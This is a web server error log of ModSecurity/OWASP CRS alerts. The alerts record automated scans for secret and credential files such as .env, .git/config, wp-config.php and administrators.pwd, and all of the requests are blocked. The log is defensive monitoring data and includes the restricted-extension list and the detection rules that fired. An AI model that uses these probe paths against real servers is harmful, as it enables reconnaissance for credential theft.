[Fri Jan 17 00:24:21.382327 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/resources/application.conf"] [unique_id "Z4mVJZihkh7MKECGjN-iyAAAAAc"]
[Fri Jan 17 00:24:21.384373 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/resources/application.conf"] [unique_id "Z4mVJZihkh7MKECGjN-iyAAAAAc"]
[Fri Jan 17 00:24:21.384859 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/resources/application.conf"] [unique_id "Z4mVJZihkh7MKECGjN-iyAAAAAc"]
[Fri Jan 17 00:24:28.264438 2025] [authz_core:error] [pid 521527] [client 158.101.109.88:57593] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php
[Fri Jan 17 00:24:28.639795 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase "/tsconfig.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /tsconfig.json found within REQUEST_FILENAME: /api/config/tsconfig.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/tsconfig.json"] [unique_id "Z4mVLJihkh7MKECGjN-i0QAAAAc"]
[Fri Jan 17 00:24:28.641138 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/tsconfig.json"] [unique_id "Z4mVLJihkh7MKECGjN-i0QAAAAc"]
[Fri Jan 17 00:24:28.641693 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/config/tsconfig.json"] [unique_id "Z4mVLJihkh7MKECGjN-i0QAAAAc"]
[Fri Jan 17 00:24:28.766194 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /static/.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.gitlab-ci.yml"] [unique_id "Z4mVLJihkh7MKECGjN-i0gAAAAc"]
[Fri Jan 17 00:24:28.766974 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.gitlab-ci.yml"] [unique_id "Z4mVLJihkh7MKECGjN-i0gAAAAc"]
[Fri Jan 17 00:24:28.767380 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static/.gitlab-ci.yml"] [unique_id "Z4mVLJihkh7MKECGjN-i0gAAAAc"]
[Fri Jan 17 00:24:35.136520 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4mVM5ihkh7MKECGjN-i2QAAAAc"]
[Fri Jan 17 00:24:35.137640 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4mVM5ihkh7MKECGjN-i2QAAAAc"]
[Fri Jan 17 00:24:35.138080 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4mVM5ihkh7MKECGjN-i2QAAAAc"]
[Fri Jan 17 00:24:38.936256 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4mVNpihkh7MKECGjN-i3gAAAAc"]
[Fri Jan 17 00:24:38.938693 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4mVNpihkh7MKECGjN-i3gAAAAc"]
[Fri Jan 17 00:24:38.939282 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4mVNpihkh7MKECGjN-i3gAAAAc"]
[Fri Jan 17 00:24:40.024210 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "Z4mVOJihkh7MKECGjN-i4AAAAAc"]
[Fri Jan 17 00:24:40.025466 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "Z4mVOJihkh7MKECGjN-i4AAAAAc"]
[Fri Jan 17 00:24:40.025935 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "Z4mVOJihkh7MKECGjN-i4AAAAAc"]
[Fri Jan 17 00:24:42.138512 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "Z4mVOpihkh7MKECGjN-i4wAAAAc"]
[Fri Jan 17 00:24:42.140748 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "Z4mVOpihkh7MKECGjN-i4wAAAAc"]
[Fri Jan 17 00:24:42.141287 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "Z4mVOpihkh7MKECGjN-i4wAAAAc"]
[Fri Jan 17 00:24:46.959810 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /products/.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/products/.gitlab-ci.yml"] [unique_id "Z4mVPpihkh7MKECGjN-i6QAAAAc"]
[Fri Jan 17 00:24:46.961100 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/products/.gitlab-ci.yml"] [unique_id "Z4mVPpihkh7MKECGjN-i6QAAAAc"]
[Fri Jan 17 00:24:46.961599 2025] [:error] [pid 521527] [client 158.101.109.88:57593] [client 158.101.109.88] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/products/.gitlab-ci.yml"] [unique_id "Z4mVPpihkh7MKECGjN-i6QAAAAc"]
[Fri Jan 17 06:10:48.681637 2025] [:error] [pid 523990] [client 35.77.33.14:59412] [client 35.77.33.14] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4nmWCNVFkj0cJkJ7sCBpQAAAAI"]
[Fri Jan 17 06:10:48.682771 2025] [:error] [pid 523990] [client 35.77.33.14:59412] [client 35.77.33.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4nmWCNVFkj0cJkJ7sCBpQAAAAI"]
[Fri Jan 17 06:10:48.683349 2025] [:error] [pid 523990] [client 35.77.33.14:59412] [client 35.77.33.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4nmWCNVFkj0cJkJ7sCBpQAAAAI"]
[Fri Jan 17 19:12:50.513979 2025] [:error] [pid 539861] [client 213.232.87.230:15933] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4qdokuIlFYxDdgLkJkXRQAAACQ"]
[Fri Jan 17 19:12:50.515333 2025] [:error] [pid 539861] [client 213.232.87.230:15933] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4qdokuIlFYxDdgLkJkXRQAAACQ"]
[Fri Jan 17 19:12:50.515676 2025] [:error] [pid 539861] [client 213.232.87.230:15933] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4qdokuIlFYxDdgLkJkXRQAAACQ"]
[Fri Jan 17 19:12:50.516413 2025] [:error] [pid 539863] [client 213.232.87.230:60231] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4qdovN384gDKjJJDm2pJwAAACY"]
[Fri Jan 17 19:12:50.516806 2025] [:error] [pid 539863] [client 213.232.87.230:60231] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4qdovN384gDKjJJDm2pJwAAACY"]
[Fri Jan 17 19:12:50.517107 2025] [:error] [pid 539863] [client 213.232.87.230:60231] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z4qdovN384gDKjJJDm2pJwAAACY"]
[Fri Jan 17 19:12:50.520922 2025] [:error] [pid 539848] [client 213.232.87.230:59057] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "Z4qdome2YBNa1JDxjzIE2AAAABs"]
[Fri Jan 17 19:12:50.521573 2025] [:error] [pid 539848] [client 213.232.87.230:59057] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "Z4qdome2YBNa1JDxjzIE2AAAABs"]
[Fri Jan 17 19:12:50.521912 2025] [:error] [pid 539848] [client 213.232.87.230:59057] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "Z4qdome2YBNa1JDxjzIE2AAAABs"]
